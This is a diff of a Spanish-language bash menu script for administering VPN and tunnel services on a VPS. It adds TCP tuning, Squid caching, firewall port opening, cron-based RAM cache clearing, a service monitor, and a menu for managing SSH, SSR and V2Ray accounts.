+        [[ "$resposta" = @(s|S|y|Y) ]] && {
+            echo "#ADM" >>/etc/sysctl.conf
+            echo "net.ipv4.tcp_window_scaling = 1
+ net.core.rmem_max = 16777216
+ net.core.wmem_max = 16777216
+ net.ipv4.tcp_rmem = 4096 87380 16777216
+ net.ipv4.tcp_wmem = 4096 16384 16777216
+ net.ipv4.tcp_low_latency = 1
+ net.ipv4.tcp_slow_start_after_idle = 0" >>/etc/sysctl.conf
+            sysctl -p /etc/sysctl.conf >/dev/null 2>&1
+            msg -ama "$(fun_trans "TCP Activo Con Exito")!"
+        } || msg -ama "$(fun_trans "Cancelado")!"
+    else
+        msg -ama "$(fun_trans "TCP Speed ya esta activado, desea detener ahora")?"
+        msg -bar
+        while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
+            read -p " [S/N]: " -e -i s resposta
+            tput cuu1 && tput dl1
+        done
+        [[ "$resposta" = @(s|S|y|Y) ]] && {
+            grep -v "^#ADM
+ net.ipv4.tcp_window_scaling = 1
+ net.core.rmem_max = 16777216
+ net.core.wmem_max = 16777216
+ net.ipv4.tcp_rmem = 4096 87380 16777216
+ net.ipv4.tcp_wmem = 4096 16384 16777216
+ net.ipv4.tcp_low_latency = 1
+ net.ipv4.tcp_slow_start_after_idle = 0" /etc/sysctl.conf >/tmp/syscl && mv -f /tmp/syscl /etc/sysctl.conf
+            sysctl -p /etc/sysctl.conf >/dev/null 2>&1
+            msg -ama "$(fun_trans "TCP Parado Con Exito")!"
+        } || msg -ama "$(fun_trans "Cancelado")!"
+    fi
+}
+SquidCACHE() {
+    msg -ama "$(fun_trans "Squid Cache, Aplica cache en Squid")"
+    msg -ama "$(fun_trans "Mejora la velocidad del squid")"
+    msg -bar
+    if [ -e /etc/squid/squid.conf ]; then
+        squid_var="/etc/squid/squid.conf"
+    elif [ -e /etc/squid3/squid.conf ]; then
+        squid_var="/etc/squid3/squid.conf"
+    else
+        msg -ama "$(fun_trans "Su sistema no tiene un squid")!" && return 1
+    fi
+    teste_cache="#CACHE_DO_SQUID"
+    if [[ $(grep -c "^$teste_cache" $squid_var) -gt 0 ]]; then
+        [[ -e ${squid_var}.bakk ]] && {
+            msg -ama "$(fun_trans "Cache squid identificado, eliminando")!"
+            mv -f ${squid_var}.bakk $squid_var
+            msg -ama "$(fun_trans "Cache squid Removido")!"
+            service squid restart >/dev/null 2>&1 &
+            service squid3 restart >/dev/null 2>&1 &
+            return 0
+        }
+    fi
+    msg -ama "$(fun_trans "Aplicando Cache Squid")!"
+    msg -bar
+    _tmp="#CACHE_DO_SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95"
+    [[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid"
+    while read s_squid; do
+        [[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}"
+    done <$squid_var
+    cp ${squid_var} ${squid_var}.bakk
+    echo -e "${_tmp}" >$squid_var
+    msg -ama "$(fun_trans "Cache Aplicado con Exito")!"
+    service squid restart >/dev/null 2>&1 &
+    service squid3 restart >/dev/null 2>&1 &
+}
+oracl() {
+    clear
+    msg -bar
+    msg -tit
+    msg -verm "		FIREWALLD"
+    msg -ama " ESTA HERRAMIENTA ES PARA LAS VPS ORACLE/AWS/AZR"
+    msg -ama " TAMBIEN PARA OTRAS VPS QUE SON NECESARIO A UTILIZAR ESTA OPCION"
+    echo -ne " Desea Continuar? [S/N]: "
+    read x
+    [[ $x = @(n|N) ]] && msg -bar && return
+    msg -bar
+    sudo apt update -y &>/dev/null
+    sudo apt install firewalld -y &>/dev/null
+    sudo apt install apache2 &>/dev/null
+    sudo firewall-cmd --zone=public --permanent --add-port=80/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=81/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=90/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=110/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=143/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=442/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=443/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=444/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=8080/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=8081/tcp
+    sudo firewall-cmd --zone=public --permanent --add-port=5300/udp
+    sudo firewall-cmd --zone=public --permanent --add-port=7200/udp
+    sudo firewall-cmd --zone=public --permanent --add-port=7300/udp
+    sudo firewall-cmd --reload
+    sudo firewall-cmd --zone=public --list-ports &>/dev/null
+    msg -azu "	FIX AGREGADO"
+}
+cache() {
+    clear
+    msg -bar
+    msg -verm "	LIBERANDO CACHÉ/RAM"
+    msg -bar
+    me() {
+        echo 3 >/proc/sys/vm/drop_caches &>/dev/null
+        sysctl -w vm.drop_caches=3 &>/dev/null
+        apt-get autoclean -y &>/dev/null
+        apt-get clean -y &>/dev/null
+    }
+    me &>/dev/null && msg -ama " REFRESCANDO RAM" | pv -qL20
+    sleep 2s
+    if [[ ! -z $(crontab -l | grep -w "vm.drop_caches=3") ]]; then
+        msg -azu " Auto limpieza programada cada $(msg -verd "[ $(crontab -l | grep -w "vm.drop_caches=3" | awk '{print $2}' | sed $'s/[^[:alnum:]\t]//g')HS ]")"
+        msg -bar
+        while :; do
+            echo -ne "$(msg -azu " Detener Auto Limpieza [S/N]: ")" && read t_ram
+            tput cuu1 && tput dl1
+            case $t_ram in
+            s | S)
+                crontab -l >/root/cron && sed -i '/vm.drop_caches=3/ d' /root/cron && crontab /root/cron && rm /root/cron
+                msg -azu " Auto-Limpeza Detenida!" && msg -bar && sleep 2
+                return 1
+                ;;
+            n | N) return 1 ;;
+            *) menu3 ;;
+            esac
+        done
+    fi
+    echo -ne "$(msg -azu "Desea programar El Auto-Limpieza [s/n]:") "
+    read c_ram
+    if [[ $c_ram = @(s|S|y|Y) ]]; then
+        tput cuu1 && tput dl1
+        echo -ne "$(msg -azu " PONGA UN NÚMERO, EJEMPLO [1-12HORAS]:") "
+        read ram_c
+        if [[ $ram_c =~ ^[0-9]+$ ]]; then
+            crontab -l >/root/cron
+            echo "0 */$ram_c * * * sudo sysctl -w vm.drop_caches=3 > /dev/null 2>&1" >>/root/cron
+            crontab /root/cron
+            rm /root/cron
+            tput cuu1 && tput dl1
+            msg -azu " Auto-Limpieza programada cada: $(msg -verd "${ram_c} HORAS")" && msg -bar && sleep 2
+        else
+            tput cuu1 && tput dl1
+            msg -verm2 " ingresar solo numeros entre 1 y 12"
+            sleep 2
+            msg -bar
+        fi
+    fi
+    return 1
+}
+pidr_inst() {
+    proto="dropbear python stunnel4 v2ray node badvpn squid openvpn dns-serve ssserver ss-server"
+    portas=$(lsof -V -i -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND")
+    for list in $proto; do
+        case $list in
+        dropbear | python | stunnel4 | v2ray | node | badvpn | squid | openvpn | ssserver | ss-server)
+            portas2=$(echo $portas | grep -w "LISTEN" | grep -w "$list")
+            [[ $(echo "${portas2}" | grep "$list") ]] && inst[$list]="\033[1;32m[ON] " || inst[$list]="\033[1;31m[OFF]"
+            ;;
+        dns-serve)
+            portas2=$(echo $portas | grep -w "$list")
+            [[ $(echo "${portas2}" | grep "$list") ]] && inst[$list]="\033[1;32m[ON] " || inst[$list]="\033[1;31m[OFF]"
+            ;;
+        esac
+    done
+}
+menu_func() {
+    local options=${#@}
+    local array
+    for ((num = 1; num <= $options; num++)); do
+        echo -ne "  $(msg -verd "\e[1;93m[\e[92m$num\e[93m]") $(msg -verm2 "➛ ") "
+        array=(${!num})
+        case ${array[0]} in
+        "-vd") msg -verd "\033[1;33m[!]\033[1;32m $(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g' ;;
+        "-vm") msg -verm2 "\033[1;33m[!]\033[1;31m $(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g' ;;
+        "-fi") msg -azu "$(fun_trans "${array[@]:2}") ${array[1]}" | sed ':a;N;$!ba;s/\n/ /g' ;;
+        *) msg -azu "$(fun_trans "${array[@]}")" | sed ':a;N;$!ba;s/\n/ /g' ;;
+        esac
+    done
+}
+selection_fun() {
+    local selection="null"
+    local range
+    for ((i = 0; i <= $1; i++)); do range[$i]="$i "; done
+    while [[ ! $(echo ${range[*]} | grep -w "$selection") ]]; do
+        echo -ne "\033[1;37m$(fun_trans " ► Selecione una Opcion"): " >&2
+        read selection
+        tput cuu1 >&2 && tput dl1 >&2
+    done
+    echo $selection
+}
+export -f msg
+export -f selection_fun
+export -f fun_trans
+export -f menu_func
+export -f meu_ip
+export -f fun_ip
+export -f lacasita
+clear
+sudo sync
+sudo sysctl -w vm.drop_caches=3 >/dev/null 2>&1
+clear
+clear
+msg -bar
+msg -tit
+menu_info
+msg -bar
+title=$(echo -e "\033[1;96m$(cat ${SCPdir}/message.txt)")
+printf "%*s\n" $((($(echo -e "$title" | wc -c) + 55) / 2)) "$title"
+msg -bar
+monservi_fun() {
+    clear
+    clear
+    monssh() {
+        sed -i "57d" /bin/monitor.sh
+        sed -i '57i EstadoServicio ssh' /bin/monitor.sh
+    }
+    mondropbear() {
+        sed -i "59d" /bin/monitor.sh
+        sed -i '59i EstadoServicio dropbear' /bin/monitor.sh
+    }
+    monssl() {
+        sed -i "61d" /bin/monitor.sh
+        sed -i '61i EstadoServicio stunnel4' /bin/monitor.sh
+    }
+    monsquid() {
+        sed -i "63d" /bin/monitor.sh
+        sed -i '63i [[ $(EstadoServicio squid) ]] && EstadoServicio squid3' /bin/monitor.sh
+    }
+    monapache() {
+        sed -i "65d" /bin/monitor.sh
+        sed -i '65i EstadoServicio apache2' /bin/monitor.sh
+    }
+    monv2ray() {
+        sed -i "55d" /bin/monitor.sh
+        sed -i '55i EstadoServicio v2ray' /bin/monitor.sh
+    }
+    msg -bar
+    msg -tit
+    echo -e "\033[1;32m          MONITOR DE SERVICIONS PRINCIPALES"
+    PIDVRF3="$(ps aux | grep "${SCPdir}/menu monitorservi" | grep -v grep | awk '{print $2}')"
+    PIDVRF5="$(ps aux | grep "${SCPdir}/menu moni2" | grep -v grep | awk '{print $2}')"
+    if [[ -z $PIDVRF3 ]]; then
+        sed -i '5a\screen -dmS very3 /etc/VPS-MX/menu monitorservi' /bin/resetsshdrop
+        msg -bar
+        echo -e "\033[1;34m          ¿Monitorear Protocolo SSH/SSHD?"
+        msg -bar
+        read -p "                    [ s | n ]: " monssh
+        sed -i "57d" /bin/monitor.sh
+        sed -i '57i #EstadoServicio ssh' /bin/monitor.sh
+        [[ "$monssh" = "s" || "$monssh" = "S" ]] && monssh
+        msg -bar
+        echo -e "\033[1;34m          ¿Monitorear Protocolo DROPBEAR?"
+        msg -bar
+        read -p "                    [ s | n ]: " mondropbear
+        sed -i "59d" /bin/monitor.sh
+        sed -i '59i #EstadoServicio dropbear' /bin/monitor.sh
+        [[ "$mondropbear" = "s" || "$mondropbear" = "S" ]] && mondropbear
+        msg -bar
+        echo -e "\033[1;34m            ¿Monitorear Protocolo SSL?"
+        msg -bar
+        read -p "                    [ s | n ]: " monssl
+        sed -i "61d" /bin/monitor.sh
+        sed -i '61i #EstadoServicio stunnel4' /bin/monitor.sh
+        [[ "$monssl" = "s" || "$monssl" = "S" ]] && monssl
+        msg -bar
+        echo -e "\033[1;34m            ¿Monitorear Protocolo SQUID?"
+        msg -bar
+        read -p "                    [ s | n ]: " monsquid
+        sed -i "63d" /bin/monitor.sh
+        sed -i '63i #[[ $(EstadoServicio squid) ]] && EstadoServicio squid3' /bin/monitor.sh
+        [[ "$monsquid" = "s" || "$monsquid" = "S" ]] && monsquid
+        msg -bar
+        echo -e "\033[1;34m            ¿Monitorear Protocolo APACHE?"
+        msg -bar
+        read -p "                    [ s | n ]: " monapache
+        sed -i "65d" /bin/monitor.sh
+        sed -i '65i #EstadoServicio apache2' /bin/monitor.sh
+        [[ "$monapache" = "s" || "$monapache" = "S" ]] && monapache
+        msg -bar
+        echo -e "\033[1;34m            ¿Monitorear Protocolo V2RAY?"
+        msg -bar
+        read -p "                    [ s | n ]: " monv2ray
+        sed -i "55d" /bin/monitor.sh
+        sed -i '55i #EstadoServicio v2ray' /bin/monitor.sh
+        [[ "$monv2ray" = "s" || "$monv2ray" = "S" ]] && monv2ray
+        cd ${SCPdir}
+        screen -dmS very3 ${SCPdir}/menu monitorservi
+        screen -dmS monis2 ${SCPdir}/menu moni2
+    else
+        for pid in $(echo $PIDVRF3); do
+            kill -9 $pid &>/dev/null
+            sed -i "6d" /bin/resetsshdrop
+        done
+        for pid in $(echo $PIDVRF5); do
+            kill -9 $pid &>/dev/null
+        done
+    fi
+    msg -bar
+    echo -e "             Puedes Monitorear desde:\n       \033[1;32m http://$(meu_ip):81/monitor.html"
+    msg -bar
+    [[ -z ${VERY3} ]] && monitorservi="\033[1;32m ACTIVADO " || monitorservi="\033[1;31m DESACTIVADO "
+    echo -e "            $monitorservi  --  CON EXITO"
+    msg -bar
+}
+monitor_auto() {
+    while true; do
+        monitor.sh 2>/dev/null
+        sleep 90s
+    done
+}
+if [[ "$1" = "monitorservi" ]]; then
+    monitor_auto
+    exit
+fi
+pid_kill() {
+    [[ -z $1 ]] && refurn 1
+    pids="$@"
+    for pid in $(echo $pids); do
+        kill -9 $pid &>/dev/null
+    done
+}
+monitorport_fun() {
+    while true; do
+        pidproxy3=$(ps x | grep "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && pid_kill $pidproxy3
+        pidpyssl=$(ps x | grep "python.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidpyssl ]] && pid_kill $pidpyssl
+        sleep 6h
+    done
+}
+if [[ "$1" = "moni2" ]]; then
+    monitorport_fun
+    exit
+fi
+SSHN="$(grep -c home /etc/passwd)"
+echo "${SSHN}" | bc >/etc/VPS-MX/controlador/SSH20.log
+SSH3="$(less /etc/VPS-MX/controlador/SSH20.log)"
+SSH4="$(echo $SSH3)"
+user_info=$(cd /usr/local/shadowsocksr &>/dev/null && python mujson_mgr.py -l)
+user_total=$(echo "${user_info}" | wc -l)
+[[ ! -e /etc/VPS-MX/RegV2ray ]] && touch /etc/VPS-MX/RegV2ray
+vray=$(cat /etc/VPS-MX/RegV2ray | wc -l)
+on="\033[1;92m[ON]" && off="\033[1;31m[OFF]"
+echo -e "\033[1;97m   SSH REG:\033[1;92m $SSH4 \033[1;97m   SS-SSRR REG:\033[1;92m $user_total \033[1;97m   V2RAY REG:\e[32m $vray"
+VERY="$(ps aux | grep "${SCPusr}/usercodes verificar" | grep -v grep)"
+VERY2="$(ps aux | grep "${SCPusr}/usercodes desbloqueo" | grep -v grep)"
+VERY3="$(ps aux | grep "${SCPdir}/menu monitorservi" | grep -v grep)"
+limseg="$(less /etc/VPS-MX/controlador/tiemlim.log)"
+[[ -z ${VERY} ]] && verificar="\033[1;31m[OFF]" || verificar="\033[1;32m[ON] "
+[[ -z ${VERY2} ]] && desbloqueo="\033[1;31m[OFF]" || desbloqueo="\033[1;32m[ON] "
+[[ -z ${VERY3} ]] && monitorservi="\033[1;31m[OFF]" || monitorservi="\033[1;32m[ON]"
+[[ -e ${SCPdir}/USRonlines ]] && msg -bar && msg -ne "\033[1;97m LIMITADOR:\033[1;92m$verificar \033[1;97m AUTO-DESBLOQUEO:\033[1;92m$desbloqueo \e[1;97mMONITOR:\e[34m${limseg}s\n \033[1;32mCONECTADOS: " && echo -ne "\033[1;97m$(cat ${SCPdir}/USRonlines) "
+[[ -e ${SCPdir}/USRexpired ]] && msg -ne "   EXPIRADOS: " && echo -ne "\033[1;97m$(cat ${SCPdir}/USRexpired) " && msg -ne " \033[1;95m BLOQUEADOS: " && echo -e "\033[1;97m$(cat ${SCPdir}/USRbloqueados)" #\n\033[1;97m        ACTULIZACION DE MONITOR CADA: \033[1;34m $limseg s"
+monhtop() {
+    clear
+    msg -bar
+    msg -tit
+    echo -ne " \033[1;93m             MONITOR DE PROCESOS HTOP\n"
+    msg -bar
+    msg -bra "    RECUERDA SALIR CON : \033[1;96m CTRL + C o FIN + F10 "
+    [[ $(dpkg --get-selections | grep -w "htop" | head -1) ]] || apt-get install htop -y &>/dev/null
+    msg -bar
+    read -t 10 -n 1 -rsp $'\033[1;39m Preciona Enter Para continuar\n'
+    clear
+    sudo htop
+    msg -bar
+    echo -e "\e[97m \033[1;41m| #-#-►  SCRIPT VPS•MX ◄-#-# | \033[1;49m\033[1;49m \033[1;31m[ \033[1;32m $vesaoSCT      "
+    echo -ne " \033[1;93m             MONITOR DE PROCESOS HTOP\n"
+    msg -bar
+    echo -e "\e[97m                  FIN DEL MONITOR"
+    msg -bar
+}
+[[ $(ps x | grep v2ray | grep -v grep | awk '{print $1}') ]] && vra=$on || vra=$off
+msg -bar
+msg -bar3
+on="\e[1;32m[ON]" && off="\e[1;31m[OFF]"
+echo -e " \e[1;93m[\e[92m1\e[93m] $(msg -verm2 "➛ ") $(msg -azu "ADMINISTRAR CUENTAS | SSH/SSL/DROPBEAR")"
+echo -e " \e[1;93m[\e[92m2\e[93m] $(msg -verm2 "➛ ") $(msg -azu "ADMINISTRAR CUENTAS | SS/SSRR")"
+echo -e " \e[1;93m[\e[92m3\e[93m] $(msg -verm2 "➛ ") $(msg -azu "ADMINISTRAR CUENTAS | V2RAY --> $vra")"
+echo -e " \e[1;93m[\e[92m4\e[93m] $(msg -verm2 "➛ ") \e[1;31m\033[47mPROTOCOLOS\e[0m  \e[93m||  \e[1;37m\e[41mHERRAMIENTAS\e[0m"
+echo -e " \e[1;93m[\e[92m5\e[93m] $(msg -verm2 "➛ ") $(msg -azu "MONITOR DE PROTOCOLOS --------> ${monitorservi}")"
+echo -e " \e[1;93m[\e[92m6\e[93m] $(msg -verm2 "➛ ") $(msg -azu "AUTO INICIAR SCRIPT ----------> ${AutoRun}")"
+msg -bar
+echo -e " \e[1;93m[\e[92m7\e[93m] \e[97m$(msg -verm2 "➛ ") $(msg -verd "ACTUALIZAR") \e[1;93m [\e[92m8\e[93m]\e[97m$(msg -verm2 "➛ ")\033[1;31mDESINSTALAR  \e[1;93m[\e[92m0\e[93m]$(msg -verm2 "➛ ") $(msg -bra "\e[97m\033[1;41mSALIR")"
+msg -bar
+selection=$(selection_fun 13)
+case ${selection} in
+1) ${SCPusr}/usercodes "${idioma}" ;;
+2) ${SCPinst}/C-SSR.sh ;;
+3) ${SCPinst}/v2ray.sh ;;
+4) menu3 ;;
+5) monservi_fun ;;
+6) fun_autorun ;;
+7) atualiza_fun ;;
+8) remove_script ;;
+0) cd $HOME && exit 0 ;;
+esac
+msg -ne "Enter Para Continuar" && read enter
+${SCPdir}/menu

+ 1 - 0
SCRIPT-v8.5x Mod/VPS-MX/message.txt

@@ -0,0 +1 @@
+By @Kalix1

برخی فایل ها در این مقایسه diff نمایش داده نمی شوند زیرا تعداد فایل ها بسیار زیاد است